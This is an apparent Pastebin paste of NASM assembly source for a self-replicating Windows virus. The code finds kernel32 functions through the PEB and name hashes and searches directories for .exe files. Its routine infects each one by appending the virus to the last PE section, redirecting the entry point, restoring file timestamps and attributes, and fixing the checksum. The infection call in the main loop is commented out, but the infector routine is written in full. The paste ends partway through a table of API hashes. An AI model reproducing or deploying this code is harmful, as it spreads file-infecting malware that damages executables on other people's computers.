valve2

nasm infector

May 31st, 2023
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 31.93 KB | Cybersecurity | 0 0
  1. %include "io.inc"
  2. %include "./common.inc"
  3.  
  4. virusLen    equ endOfVirus - startOfVirus
  5. COUNT       equ 100000
  6.  
  7. global _main
  8.  
  9. struc DATA
  10.     .EIP:                     resd 1
  11.  
  12.     ; kernel data
  13.     .kernelAddress:           resd 1
  14.     .nFunctions:              resd 1
  15.     .functionsAddr:           resd 1
  16.     .namesAddr:               resd 1
  17.     .ordinalsAddr:            resd 1
  18.  
  19.     ; API method addresses
  20.     .functionIndex:           resd 1
  21.     .addressStart:
  22.     .CloseHandle:             resd 1
  23.     .CreateFileA:             resd 1
  24.     .CreateFileMappingA:      resd 1
  25.     .FindClose:               resd 1
  26.     .FindFirstFileA:          resd 1
  27.     .FindNextFileA:           resd 1
  28.     .GetCurrentDirectoryA:    resd 1
  29.     .GetFileAttributesA:      resd 1
  30.     .GetFileSize:             resd 1
  31.     .GetFileTime:             resd 1
  32.     .GetStdHandle:            resd 1
  33.     .MapViewOfFile:           resd 1
  34.     .SetEndOfFile:            resd 1
  35.     .SetFileAttributesA:      resd 1
  36.     .SetFilePointer:          resd 1
  37.     .SetFileTime:             resd 1
  38.     .UnmapViewOfFile:         resd 1
  39.     .WriteFile:               resd 1
  40.  
  41.     ; directory listing data
  42.     .findData:                resb FIND_DATA.size
  43.     .findHandle:              resd 1
  44.     .counter:                 resd 1 ; COUNT
  45.     .searchPath:              resb MAX_PATH_LENGTH
  46.     .edi:                     resd 1
  47.  
  48.     ; infection data
  49.     .fileAlign:               resd 1
  50.     .memoryToReserve:         resd 1
  51.     .infectionFlag:           resd 1
  52.     .fileAttributes:          resd 1
  53.     .newFileSize:             resd 1
  54.     .fileHandle:              resd 1
  55.     .lastWriteTime:           resq 1
  56.     .lastAccessTime:          resq 1
  57.     .creationTime:            resq 1
  58.     .mapHandle:               resd 1
  59.     .mapAddress:              resd 1
  60.     .PEHeader:                resd 1
  61.     .oldEntryPoint:           resd 1
  62.     .newEntryPoint:           resd 1
  63.     .imageBase:               resd 1
  64.     .oldLastSectionRawSize:   resd 1
  65.     .newLastSectionRawSize:   resd 1
  66.     .incRawSize:              resd 1
  67.     .codeHeaderAddress:       resd 1
  68.     .lastHeaderAddress:       resd 1
  69.     .diskEP:                  resd 1
  70.     .virusAddress:            resd 1
  71.     .virusLocation:           resd 1
  72.     .oldVSOfLast:             resd 1
  73.  
  74.     ; payload data
  75.     .overlapped:              resb OVERLAPPED.size
  76.  
  77.     .size:
  78. endstruc
  79.  
  80. section .text
  81. _main:
  82.     mov     eax, virusLen   ; REMOVE
  83.  
  84. startOfVirus:
  85.  
  86.     call    anchor                              ; retrieve current location (valeu of EIP)
  87. anchor:
  88.     pop     eax
  89.  
  90.     ; create stack frame for the local variables
  91.     push    ebp                                 ; save old ebp
  92.     sub     esp, DATA.size                      ; allocate local variables
  93.     mov     ebp, esp                            ; set ebp for variable indexing
  94.  
  95.     mov     [ebp + DATA.EIP], eax               ; save value of EIP
  96.  
  97.     ; Figure out kernel32.dll's location
  98.     mov     edi, [FS : 0x30]                    ; PEB
  99.     mov     edi, [edi + 0x0C]                   ; PEB->Ldr
  100.     mov     edi, [edi + 0x14]                   ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
  101.     mov     edi, [edi]                          ; 2nd Entry
  102.     mov     edi, [edi]                          ; 3rd Entry
  103.     mov     edi, [edi + 0x10]                   ; Third entry's base address (Kernel32.dll)
  104.     mov     [ebp + DATA.kernelAddress] , edi
  105.  
  106.     mov     eax, [edi + 0x3C]                   ; kernelAddress points to the DOS header, read PE RVA at 0x3C
  107.     add     eax, edi                            ; eax has the virtual address of the PE header
  108.     mov     eax, [eax + 0x78]                   ; The export table RVA is at 0x78 from the start of PE header
  109.     add     eax, edi                            ; eax has the virtual address of the export table
  110.  
  111.     mov     esi, [eax + 0x1C]                   ; RVA of array of function RVAs is at 0x1c
  112.     add     esi, edi                            ; convert to virtual address
  113.     mov     [ebp + DATA.functionsAddr], esi     ; save
  114.  
  115.     mov     esi, [eax + 0x24]                   ; RVA of array of function ordinals is at 0x24
  116.     add     esi, edi                            ; convert to virtual address
  117.     mov     [ebp + DATA.ordinalsAddr], esi      ; save
  118.  
  119.     mov     ecx, [eax + 0x14]                   ; The number of functions is at 0x14 in the export table
  120.     mov     [ebp + DATA.nFunctions], ecx        ; ecx is the loop counter
  121.  
  122.     mov     esi, [eax + 0x20]                   ; RVA of array of function name RVAs is at 0x20 (pointers to zero-terminated strings)
  123.     add     esi, edi                            ; convert to virtual address
  124.     mov     [ebp + DATA.namesAddr], esi         ; save
  125.  
  126.     and     [ebp + DATA.functionIndex], dword 0 ; clear the function index
  127.  
  128. loopOverNames:
  129.     ; compute the hash of the name
  130.     push    esi
  131.     mov     esi, [esi]                      ; read the pointer to the name string
  132.     add     esi, edi                        ; convert to virtual address
  133.     xor     ebx, ebx                        ; the hash code will be computed in ebx
  134.     xor     eax, eax                        ; the next character
  135.  hashLoop:
  136.     lodsb
  137.     or      al, al                          ; same as 'cmp cl, 0'
  138.     jz hashDone
  139.     mov     edx, ebx                        ; save old hash
  140.     shl     ebx, 5                          ; multiply by 32
  141.     sub     ebx, edx                        ; subtract a hash, i.e. multiply by 31
  142.     add     ebx, eax                        ; add the next character
  143.     jmp     hashLoop
  144.  hashDone:
  145.     pop     esi
  146.  
  147.     ; see if this is a function we actually need
  148.     mov     edx, [ebp + DATA.functionIndex]                 ; read the current function index
  149.     mov     eax, [ebp + DATA.EIP]                           ; read EIP of virus start
  150.     cmp     ebx, [eax + (hashStart - anchor) + 4 * edx]     ; compare computed hash with current function hash
  151.     jne     discard                                         ; if does not match, move on
  152.                                                             ; we have a match, compute and save the address
  153.     mov     eax, [ebp + DATA.nFunctions]                    ; compute index of function name
  154.     sub     eax, ecx
  155.     shl     eax, 1                                          ; multiply index by 2
  156.     add     eax, [ebp + DATA.ordinalsAddr]                  ; compute address of ordinal
  157.     xor     ebx, ebx
  158.     mov     bx, word [eax]                                  ; read ordinal
  159.     shl     ebx, 2                                          ; prepare to read function address, multiply ordinal by 4
  160.     add     ebx, [ebp + DATA.functionsAddr]                 ; compute address of function address
  161.     mov     ebx, [ebx]                                      ; read function RVA
  162.     add     ebx, edi                                        ; convert to virtual address
  163.     mov     [ebp + DATA.addressStart + 4 * edx], ebx        ; save the address
  164.     inc     dword [ebp + DATA.functionIndex]                ; increment the function index
  165.  
  166. discard:
  167.     add     esi, 4
  168.     dec     ecx
  169.     jnz     loopOverNames
  170.  
  171.         NOPS
  172.  
  173.     ; Now we begin with the business of infecting some files
  174.     ;; ====================================================================================
  175.  
  176.     ; initialize local variables
  177.     mov     [ebp + DATA.counter], dword COUNT
  178.  
  179.     ; push current directory onto the stack
  180.     sub     esp, MAX_PATH_LENGTH                    ; make space on the stack
  181.     push    esp                                     ; buffer
  182.     push    MAX_PATH_LENGTH                         ; buffer size
  183.     call    [ebp + DATA.GetCurrentDirectoryA]       ; the path length is returned in eax
  184.     mov     [esp + eax], dword "\.."                ; go one step up
  185.  
  186. next_dir:
  187.     cmp     ebp, esp                                ; check if the path stack is empty
  188.     je      search_done
  189.  
  190.     mov     esi, esp                                ; pop path off the stack and copy into searchPath
  191.     lea     edi, [ebp + DATA.searchPath]
  192.     add     esp, MAX_PATH_LENGTH
  193.     call    strcpy
  194.     mov     eax, 0x00002A5C                         ; append the file mask "\*"
  195.     stosd                                           ; this moves esi by 4
  196.     mov     [ebp + DATA.edi], edi                   ; save edi for later
  197.  
  198.     lea     edx, [ebp + DATA.findData]              ; find the first file
  199.     push    edx
  200.     lea     edx, [ebp + DATA.searchPath]
  201.     push    edx
  202.     call    [ebp + DATA.FindFirstFileA]
  203.     cmp     eax, -1                                 ; invalid handle?
  204.     je      next_dir                                ; no need to close the search, just move on
  205.     mov     [ebp + DATA.findHandle], eax
  206.     jmp     process_file                            ; else process the file
  207.  
  208. next_file:
  209.     lea     edx, [ebp + DATA.findData]
  210.     push    edx
  211.     push    dword [ebp + DATA.findHandle]
  212.     call    [ebp + DATA.FindNextFileA]
  213.     or      eax, eax                                ; same as "cmp eax, 0"
  214.     je      close_search
  215.  
  216. process_file:
  217.     ; skip '.' and '..' directories
  218.     mov     ax, word [ebp + DATA.findData + FIND_DATA.cFileName]
  219.     cmp     ax, word 0x002e   ; "."
  220.     je      next_file
  221.     cmp     ax, word 0x2e2e   ; ".."
  222.     je      next_file
  223.  
  224.     mov     edi, [ebp + DATA.edi]                 ; restore edi
  225.     sub     edi, 4                                ; remove last 4 bytes added (\*00)
  226.     mov     al, 0x5C                              ; append "\"
  227.     stosb
  228.  
  229.     lea     esi, [ebp + DATA.findData + FIND_DATA.cFileName]       ; append fileName
  230.     call    strcpy
  231.     stosb                                                          ; append 0 terminator
  232.  
  233.     bt      dword [ebp + DATA.findData + FIND_DATA.dwFileAttributes], 4  ; check if a directory, see DIRECTORY const
  234.     jc      dir
  235.  
  236.     ; its a file, check if .exe
  237.     cmp     [edi - 5], dword ".exe"  ; TODO obfuscate this
  238.     jne     next_file
  239.  
  240.     ; it is .exe, infect
  241.     PRINTS  "FILE", [ebp + DATA.searchPath]
  242. ;    call    InfectFile
  243.  
  244.     dec     dword [ebp + DATA.counter]      ; decrement counter and loop again
  245.     jz      search_done
  246.     jmp     next_file
  247.  
  248. dir:
  249.     sub     esp, MAX_PATH_LENGTH
  250.     lea     esi, [ebp + DATA.searchPath]
  251.     mov     edi, esp
  252.     call    strcpy
  253.     stosb                                           ; append 0 terminator
  254.  
  255.     jmp     next_file
  256.  
  257. close_search:
  258.     push    dword [ebp + DATA.findHandle]
  259.     call    [ebp + DATA.FindClose]
  260.     jmp     next_dir
  261.  
  262. search_done:
  263.     %if DEBUG
  264.     mov     eax, COUNT
  265.     sub     eax, [ebp + DATA.counter]
  266.     PRINTD "counter", eax
  267.     %endif
  268.  
  269.     NOPS
  270.  
  271.     ;; Now the payload of the virus
  272.     ;; ====================================================================================
  273.  
  274.     push    -11                             ; hStdOut = GetstdHandle(STD_OUTPUT_HANDLE)
  275.     call    [ebp + DATA.GetStdHandle]
  276.     mov     edx, eax                        ; copy the stdout handle in ebx
  277.  
  278.     ; WriteFile( hFile, lpBuffer, nNumberOfBytesToWrite, &lpNumberOfBytesWritten, lpOverlapped);
  279.     xor     eax, eax                                              ; 0x00000000
  280.     not     eax                                                   ; 0xFFFFFFFF
  281.     mov     [ebp + DATA.overlapped + OVERLAPPED.offset], eax      ; set offset to 0xFFFFFFFF
  282.     mov     [ebp + DATA.overlapped + OVERLAPPED.offsetHigh], eax  ; set offsetHigh to 0xFFFFFFFF
  283.     lea     eax, [ebp + DATA.overlapped]
  284.     push    eax                             ; lpOverlapped
  285.     push    NULL                            ; &lpNumberOfBytesWritten
  286.     push    message_end - message           ; nNumberOfBytesToWrite
  287.     mov     eax, [ebp + DATA.EIP]
  288.     add     eax, message - anchor
  289.     push    eax                             ; lpBuffer
  290.     push    edx                             ; stdout handle
  291.     call    [ebp + DATA.WriteFile]
  292.  
  293.     add     esp, DATA.size                  ; de-allocate local variables
  294.     pop     ebp                             ; restore stack
  295.  
  296.     jmp     endOfVirus                      ; Get the fuck out
  297.  
  298.  
  299.  
  300. ;; HELPER FUNCTIONS
  301. ;; ====================================================================================
  302.  
  303. InfectFile:
  304.  
  305.     NOPS
  306.  
  307.     pushad                                          ; Save all registers
  308.     xor     edi, edi
  309.     mov     [ebp + DATA.infectionFlag], di          ; Reset the infection flag
  310.  
  311.     mov     ecx, [ebp + DATA.findData + FIND_DATA.nFileSizeLow] ; read file size (lower 4 bytes)
  312.     PRINTD "originalFileSize", ecx
  313.     mov     [ebp + DATA.newFileSize], ecx           ; Save file size, old size at this point
  314.     add     ecx, virusLen + 1000h                   ; ECX = victim filesize + virus + 1000h
  315.     mov     [ebp + DATA.memoryToReserve], ecx       ; Memory to map
  316.  
  317.     ;; save the original attributes
  318.  
  319.     lea     ebx, [ebp + DATA.searchPath]
  320.     push    ebx                                     ; Address to filename
  321.     call    [ebp + DATA.GetFileAttributesA]         ; Get the file attributes
  322.     cmp     eax, edi
  323.     mov     [ebp + DATA.fileAttributes], eax
  324.     PRINTH  "fileAttributes", eax
  325.  
  326.     ;; set the nomral attributes to the file
  327.  
  328.     push    80h                                     ; 80h = FILE_ATTRIBUTE_NORMAL
  329.     lea     ebx, [ebp + DATA.searchPath]
  330.     push    ebx                                     ; Address to filename
  331.     call    [ebp + DATA.SetFileAttributesA]         ; Get the file attributes
  332.  
  333.     ;; open the file
  334.  
  335.     push    edi                                       ; File template
  336.     push    edi                                       ; File attributes
  337.     push    3                                       ; Open existing file
  338.     push    edi                                       ; Security option = default
  339.     push    1                                       ; File share for read
  340.     push    GENERIC_READ | GENERIC_WRITE            ; General write and read
  341.     lea     ebx, [ebp + DATA.searchPath]
  342.     push    ebx                                     ; Address to filename
  343.     call    [ebp + DATA.CreateFileA]                ; create the file
  344.                                                     ; EAX = file handle
  345.  
  346.     mov     [ebp + DATA.fileHandle], eax            ; Save file handle
  347.     cmp     eax, -1                                 ; error ?
  348.     je      OutOfHere                               ; cant open the file ?
  349.     PRINTH  "fileHandle", eax
  350.  
  351.     ;; save File creation time, Last write time, Last access time
  352.  
  353.     lea     ebx, [ebp + DATA.lastWriteTime]         ; TODO add instructions might be better
  354.     push    ebx
  355.     lea     ebx, [ebp + DATA.lastAccessTime]
  356.     push    ebx
  357.     lea     ebx, [ebp + DATA.creationTime]
  358.     push    ebx
  359.     mov     ebx, [ebp + DATA.fileHandle]
  360.     push    ebx
  361.     call    [ebp + DATA.GetFileTime]                ; save time fields FIXME
  362.  
  363.     ;; create file mapping for the file
  364.     xor     eax, eax
  365.  
  366.     push    edi                                       ; Filename handle = NULL
  367.     push    dword [ebp + DATA.memoryToReserve]      ; Max size
  368.     push    edi                                       ; Min size (no need)
  369.     push    4                                       ; Page read and write
  370.     push    edi                                       ; Security attributes
  371.     push    dword [ebp + DATA.fileHandle]           ; File handle
  372.     call    [ebp + DATA.CreateFileMappingA]         ; map file to memory                                                    ; EAX = new map handle
  373.     PRINTD  "FileMapping handle", eax
  374.     mov     [ebp + DATA.mapHandle], eax             ; Save map handle
  375.     cmp     eax, edi                                  ; Error ?
  376.     je      CloseFile                               ; Cant map file ?
  377.  
  378.     ;; map the view of that file
  379.  
  380.     PRINTD "memoryToReserve", [ebp + DATA.memoryToReserve]
  381.     push    dword [ebp + DATA.memoryToReserve]      ; # Bytes to map
  382.     push    edi                                       ; File offset low
  383.     push    edi                                       ; File offset high
  384.     push    2                                       ; File Map Write Mode
  385.     push    dword [ebp + DATA.mapHandle]            ; File Map Handle
  386.     call    [ebp + DATA.MapViewOfFile]              ; map file to memory
  387.     cmp     eax, edi                                  ; Error ?
  388.     je      CloseMap                                ; Cant map view of file ?
  389.     mov     esi, eax                                ; ESI = base of file mapping
  390.     mov     [ebp + DATA.mapAddress], esi            ; Save base of file mapping
  391.     PRINTH  "fileMapAddress", esi
  392.  
  393.     ;; check whether the mapped file is a PE file and see if its already been infected
  394.  
  395.     cmp     word [esi + DOS.signature], ZM          ; 'ZM' Is it an EXE file ? (ie Does it have 'MZ' at the beginning?)
  396.     jne     UnmapView                               ; Error ?
  397.     cmp     word [esi + AD_OFFSET], AD              ; 'AD'  ; Already infected ?
  398.     jne     OkGo                                    ; Is it a PE EXE file ?
  399.     mov     word [ebp + DATA.infectionFlag], AD     ; Mark it
  400.     jmp     UnmapView                               ; Error ?
  401.  
  402. OkGo:
  403.     mov     ebx, [esi + DOS.lfanew]                 ; EBX = PE Header RVA
  404.     cmp     word [esi + ebx], EP                    ; 'EP'  ; Is it a PE file ?
  405.     jne     UnmapView                               ; Error ?
  406.  
  407.     ;; If the file is not EXE, is already infected or is not a PE file, we proceed to
  408.     ;; unmap the view of file, otherwise parse the PE Header.
  409.  
  410.     add     esi, ebx                                ; (ESI points to PE header now)
  411.     mov     [ebp + DATA.PEHeader], esi              ; Save PE header
  412.     cmp     [esi + PE.Machine], word INTEL386       ; read machine field in PE Header, 0x014c = Intel 386
  413.     jnz     UnmapView                               ; if not 32 bit, then error and quit
  414.     mov     eax, [esi + PE.AddressOfEntryPoint]
  415.     mov     [ebp + DATA.oldEntryPoint], eax         ; Save Entry Point of file
  416.     mov     eax, [esi + PE.ImageBase]               ; Find the Image Base
  417.     mov     [ebp + DATA.imageBase], eax             ; Save the Image Base
  418.     mov     eax, [esi + PE.FileAlignment]
  419.     mov     dword [ebp + DATA.fileAlign], eax       ; Save File Alignment ; (EAX = File Alignment)
  420.     PRINTH  "fileAlign", eax
  421.  
  422.     mov     ebx, [esi + PE.NumberOfRvaAndSizes]     ; Number of directories entries, PE + 0x74
  423.     shl     ebx, 3                                  ; * 8 (size of data directories)
  424.     add     ebx, PE.size                            ; add size of PE header
  425.     add     ebx, [ebp + DATA.PEHeader]              ; EBX = address of the .text section
  426.     mov     [ebp + DATA.codeHeaderAddress], ebx     ; save codeHeaderAddress
  427.  
  428.     ;; Locate the last section in the PE
  429.  
  430.     push    esi
  431.  
  432.     mov     ebx, [esi + PE.NumberOfRvaAndSizes]     ; Number of directories entries
  433.     shl     ebx, 3                                  ; * 8 (size)
  434.     xor     eax, eax
  435.     mov     ax, word [esi + PE.NumberOfSections]    ; AX = number of sections
  436.     dec     eax                                     ; Look for the last section ending
  437.     mov     ecx, SECTIONH.size                      ; ECX = size of sections header
  438.     mul     ecx                                     ; EAX = ECX * EAX
  439.     add     esi, PE.size
  440.     add     esi, ebx
  441.     add     esi, eax                                ; ESI = Pointer to the last section header
  442.     mov     [ebp + DATA.lastHeaderAddress], esi
  443.  
  444.     mov     ebx, [ebp + DATA.codeHeaderAddress]     ; EBX points to the code header
  445.     mov     eax, [ebx + SECTIONH.PointerToRawData]  ; pointer to raw data of code segment
  446.     add     eax, [ebx + SECTIONH.VirtualSize]       ; virtual size of code segment
  447.     mov     [ebp + DATA.diskEP], eax                ; where exectuable code is (entryPoint will jump here)
  448.  
  449.     mov     eax, [ebp + DATA.imageBase]             ; ESI = Pointer to the last section header
  450.     add     eax, [esi + SECTIONH.VirtualAddress]    ; VirtualAddress
  451.     add     eax, [esi + SECTIONH.VirtualSize]       ; VirtualSize
  452.     mov     [ebp + DATA.virusAddress], eax
  453.  
  454.     mov     eax, [esi + SECTIONH.PointerToRawData]  ; reading PointerToRawData
  455.     add     eax, [esi + SECTIONH.VirtualSize]       ; reading VirtualSize
  456.     mov     [ebp + DATA.virusLocation], eax
  457.  
  458.     pop     ebx                                     ; restore old PE header into ebx
  459.     or      dword [esi + SECTIONH.Characteristics], CODE | GENERIC_EXECUTE   ; Set [CWE] flags (CODE)
  460.  
  461.     ;; The flags tell the loader that the section now
  462.     ;; has executable code and is writable
  463.  
  464.     mov     eax, [esi + SECTIONH.SizeOfRawData]               ; EAX = size of raw data in this section (ESI = Pointer to the last section header)
  465.     mov     [ebp + DATA.oldLastSectionRawSize], eax           ; Save it
  466.     mov     ecx, [esi + SECTIONH.VirtualSize]
  467.     mov     [ebp + DATA.oldVSOfLast], ecx
  468.     add     dword [esi + SECTIONH.VirtualSize], virusLen    ; Increase virtual size
  469.     PRINTD "oldLastSectionRawSize", [ebp + DATA.oldLastSectionRawSize]
  470.  
  471.     ;; Update ImageBase
  472.  
  473.     ;mov     eax, [esi + SECTIONH.VirtualSize]               ; Get new size in EAX
  474.     ;add     eax, [esi + SECTIONH.VirtualAddress]            ; + section rva
  475.     ;mov     [ebx + PE.SizeOfImage], eax                     ; Save SizeOfImage
  476.  
  477.     ;; The size of raw data is the actual size of the
  478.     ;; data in the section, The virtual size is the one
  479.     ;; we must increase with our virus size, Now after
  480.     ;; the increasing, lets check how much did we mess
  481.     ;; the file align, To do that we divide the new size
  482.     ;; to the filealign value and we get as a reminder
  483.     ;; the number of bytes to pad
  484.  
  485.     mov     eax, [esi + SECTIONH.VirtualSize]               ; Get new size in EAX
  486.     mov     ecx, [ebp + DATA.fileAlign]                     ; ECX = File alignment
  487.     div     ecx                                             ; Get remainder in EDX
  488.     mov     ecx, [ebp + DATA.fileAlign]                     ; ECX = File alignment
  489.     sub     ecx, edx                                        ; Number of bytes to pad
  490.     mov     [esi + SECTIONH.SizeOfRawData], ecx             ; Save it
  491.  
  492.     ;; Now size of raw data = number of bytes to pad
  493.  
  494.     mov     eax, [esi + SECTIONH.VirtualSize]               ; Get current VirtualSize
  495.     add     eax, [esi + SECTIONH.SizeOfRawData]             ; EAX = SizeOfRawdata padded
  496.     mov     [esi + SECTIONH.SizeOfRawData], eax             ; Set new SizeOfRawdata
  497.  
  498.     ;; Now size of raw data = old virtual size + number of bytes to pad
  499.  
  500.     mov     [ebp + DATA.newLastSectionRawSize], eax                    ; Save it
  501.     PRINTD "newLastSectionRawSize", [ebp + DATA.newLastSectionRawSize]
  502.  
  503.     ;; The virus will be at the end of the section, In
  504.     ;; order to find its address we have the following formula:
  505.     ;; VirtualAddress + VirtualSize - VirusLength + RawSize = VirusStart
  506.  
  507.     mov     eax, [ebp + DATA.codeHeaderAddress]
  508.     mov     ebx, [ebp + DATA.codeHeaderAddress]
  509.     mov     eax, [ebx + SECTIONH.VirtualAddress]            ; Reading code segment's RVA
  510.     add     eax, [ebx + SECTIONH.VirtualSize]               ; Add the size of the segment
  511.     mov     [ebp + DATA.newEntryPoint], eax                 ; EAX = new EIP, and save it
  512.  
  513.     ;; Here we compute with how much did we increase the size of raw data
  514.  
  515.     mov     eax, [ebp + DATA.oldLastSectionRawSize]                ; Original SizeOfRawdata
  516.     mov     ebx, [ebp + DATA.newLastSectionRawSize]                ; New SizeOfRawdata
  517.     sub     ebx, eax                                    ; Increase in size
  518.     mov     [ebp + DATA.incRawSize], ebx                ; Save increase value
  519.  
  520.     ;; Compute the new file size
  521.  
  522.     mov     eax, [esi + SECTIONH.PointerToRawData]      ; Read PointerToRawData from last section's header
  523.     PRINTD "PointerToRawData", eax
  524.     add     eax, [ebp + DATA.newLastSectionRawSize]                ; Add size of new raw data
  525.     mov     [ebp + DATA.newFileSize], eax               ; EAX = new filesize, and save it
  526.     PRINTD "newFileSize", [ebp + DATA.newFileSize]
  527.  
  528.     ;; Now prepare to copy the virus to the host, The formulas are
  529.  
  530.     mov     eax, [ebp + DATA.diskEP]                    ; Align in memory to map address
  531.     add     eax, [ebp + DATA.mapAddress]
  532.  
  533.     mov     [eax], byte JMP_NR                          ; relative near jump instruction
  534.     mov     ebx, [ebp + DATA.lastHeaderAddress]
  535.     mov     ebx, [ebx + SECTIONH.VirtualAddress]        ; lastSegment address
  536.     PRINTH "lastSegment address", ebx
  537.     mov     ecx, [ebp + DATA.codeHeaderAddress]
  538.     sub     ebx, [ecx + SECTIONH.VirtualAddress]        ; - codeSegment address
  539.     PRINTH "codeSegment address", [ecx]
  540.     add     ebx, [ebp + DATA.oldVSOfLast]               ; + lastSegment size
  541.     PRINTH "lastSegment size", [ecx]
  542.     mov     ecx, [ebp + DATA.codeHeaderAddress]         ; ECX points to the code header
  543.     sub     ebx, [ecx + SECTIONH.VirtualSize]           ; - codeSegment size
  544.     PRINTH "codeSegment size", [ecx]
  545.     sub     ebx, JMP_NR_BYTES                           ; subtract length of the jump instruction (it takes up 5 bytes of space)
  546.     mov     [eax + 1], ebx                              ; write the 4 byte address of the JMP
  547.     PRINTH "relative address jump", ebx
  548.  
  549.     mov     edi, [ebp + DATA.virusLocation]    ; Location to copy the virus to
  550.     add     edi, [ebp + DATA.mapAddress]
  551.     mov     eax, [ebp + DATA.EIP]
  552.     lea     esi, [eax - JMP_NR_BYTES]          ; Location to copy the virus from
  553.     mov     ecx, virusLen                      ; Number of bytes to copy
  554.     rep     movsb                              ; Copy all the bytes
  555.  
  556.     mov     eax, virusLen
  557.     PRINTD "virusLen", eax
  558.     add     eax, [ebp + DATA.virusLocation]
  559.     add     eax, [ebp + DATA.mapAddress]
  560.  
  561.     ; Transfer execution to the host entry point
  562.  
  563.     mov     ecx, [ebp + DATA.codeHeaderAddress]
  564.     add     ebx, [ecx + SECTIONH.VirtualSize]   ; add Size of CodeSegment
  565.     sub     ebx, [ebp + DATA.oldEntryPoint]     ; subtract old entry point
  566.     add     ebx, 0x1000                         ; correct for BaseOfCode
  567.     add     ebx, 2*JMP_NR_BYTES                 ; correct for 2 near JMPs (2 x 5 bytes)
  568.     add     ebx, virusLen                       ; add virusLength
  569.     neg     ebx
  570.     mov     [eax], byte JMP_NR                  ; relative near jump instruction
  571.     mov     [eax + 1], ebx                      ; write the 4 byte address of the JMP
  572.  
  573.     ;; Now increase the size of the code segment by the length of the JMP instruction (5 bytes)
  574.     add     dword [ecx + SECTIONH.VirtualSize], JMP_NR_BYTES
  575.  
  576.     ;; Now, lets alter the PE header by marking the new IP, increasing the total
  577.     ;; size of the files image with the increasing of the last section
  578.  
  579.     mov     esi, [ebp + DATA.PEHeader]              ; ESI = Address of PE header
  580.     mov     eax, [ebp + DATA.newEntryPoint]         ; Get value of new EIP in EAX
  581.     mov     [esi + PE.AddressOfEntryPoint], eax     ; Write it to the PE header
  582.  
  583.     ;; Now, lets mark the file as infected
  584.  
  585.     mov     esi, [ebp + DATA.mapAddress]
  586.     mov     word [esi + AD_OFFSET], AD              ;'AD'  ; Mark file as infected
  587.  
  588.     ;; Now recompute the PE checksum
  589.  
  590.     mov     edx, [ebp + DATA.PEHeader]              ; EDX = Address of PE header
  591.     mov     eax, [edx + PE.CheckSum]
  592.     PRINTH  "oldChecksum", eax
  593.     mov     [edx + PE.CheckSum], dword 0            ; clear the old checksum
  594.     mov     edx, [ebp + DATA.mapAddress]
  595.     mov     ecx, [ebp + DATA.newFileSize]
  596.     call    PECheckSum
  597.     mov     edx, [ebp + DATA.PEHeader]              ; save the new checksum
  598.     mov     [edx + PE.CheckSum], eax
  599.     PRINTH  "newChecksum", eax
  600.  
  601. UnmapView:
  602.     push    dword [ebp + DATA.mapAddress]
  603.     call    [ebp + DATA.UnmapViewOfFile]
  604.  
  605. CloseMap:
  606.     push    dword [ebp + DATA.mapHandle]
  607.     call    [ebp + DATA.CloseHandle]
  608.  
  609. CloseFile:
  610.     lea     ebx, [ebp + DATA.lastWriteTime]
  611.     push    ebx
  612.     lea     ebx, [ebp + DATA.lastAccessTime]
  613.     push    ebx
  614.     lea     ebx, [ebp + DATA.creationTime]
  615.     push    ebx
  616.     mov     ebx, [ebp + DATA.fileHandle]
  617.     push    ebx
  618.     call    [ebp + DATA.SetFileTime]                ; set time fields FIXME
  619.  
  620.     ;; In order to properly close the file we must set its EOF at the exact end
  621.     ;; of file, So first we move the pointer to the end and set the EOF
  622.  
  623.     push    0                                       ; First we must set the file
  624.     push    NULL                                    ; Pointer at the end of file (that is the beginning + new file size)
  625.     push    dword [ebp + DATA.newFileSize]
  626.     push    dword [ebp + DATA.fileHandle]
  627.     call    [ebp + DATA.SetFilePointer]
  628.  
  629.     push    dword [ebp + DATA.fileHandle]
  630.     call    [ebp + DATA.SetEndOfFile]
  631.  
  632.     ;; And finaly we close the file
  633.  
  634.     push    dword [ebp + DATA.fileHandle]
  635.     call    [ebp + DATA.CloseHandle]
  636.  
  637.     ;; Then we must restore file attributes
  638.  
  639.     push    dword [ebp + DATA.fileAttributes]
  640.     lea     ebx, [ebp + DATA.searchPath]
  641.     push    ebx                                     ; Push the address of the search record
  642.     call    [ebp + DATA.SetFileAttributesA]
  643.  
  644. InfectionSuccessful:
  645.     cmp     word[ebp + DATA.infectionFlag], AD
  646.     je      OutOfHere
  647.  
  648. OutOfHere:
  649.     popad                                           ; Restore all registers
  650.     retn
  651.  
  652.     NOPS
  653.  
  654. ;; Calculates the checksum that is to be stored in the PE header
  655. ;;  Input:  edx - buffer pointer, ecx - buffer length
  656. ;;  Output: eax - the checksum
  657. PECheckSum:
  658.     push    ecx         ; save the length for later
  659.     shr     ecx, 2      ; we're summing DWORDs, not bytes
  660.     xor     eax, eax    ; EAX holds the checksum
  661.     clc                 ; Clear the carry flag ready for later...
  662.  
  663.     theLoop: ; the file is being iterated backwards
  664.     adc eax, [edx + (ecx * 4) - 4]
  665.     dec ecx
  666.     jnz theLoop
  667.  
  668.     mov     ecx, eax       ; EDX = EAX - the checksum
  669.     shr     ecx, 16        ; EDX = checksum >> 16      EDX is high order
  670.     and     eax, 0xFFFF    ; EAX = checksum & 0xFFFF   EAX is low order
  671.     add     eax, ecx       ; EAX = checksum & 0xFFFF + checksum >> 16      High Order Folded into Low Order
  672.     mov     ecx, eax       ; EDX = checksum & 0xFFFF + checksum >> 16
  673.     shr     ecx, 16        ; EDX = EDX >> 16      EDX is high order
  674.     add     eax, ecx       ; EAX = EAX + EDX      High Order Folded into Low Order
  675.     and     eax, 0xFFFF    ; EAX = EAX & 0xFFFF   EAX is low order 16 bits
  676.  
  677.     pop     ecx            ; restore original file length
  678.     add     eax, ecx       ; add the file size
  679.  
  680.     retn
  681.  
  682. ; Copies a zero terminated string from esi to edi
  683. ; Input : esi - pointer to source, edi - pointer to destination
  684. ; Output: al = 0 so string can be terminated simply by doing 'stosb'!
  685. strcpy:
  686.     lodsb
  687.     cmp     al, 0
  688.     jz      end_strcpy
  689.     stosb
  690.     jmp     strcpy
  691. end_strcpy:
  692.     retn
  693.  
  694.     NOPS
  695.  
  696.     ;; Constant data section
  697.     ;; ====================================================================================
  698.  
  699.     message:                  db 'Good morning America!', 10
  700.     message_end:
  701.  
  702.     hashStart:
  703.      CloseHandle:             dd 0x59e68620
  704.      CreateFileA:             dd 0x44990e89
  705.      CreateFileMappingA:      dd 0xa481360b
  706.      FindClose:               dd 0x8f86c39f
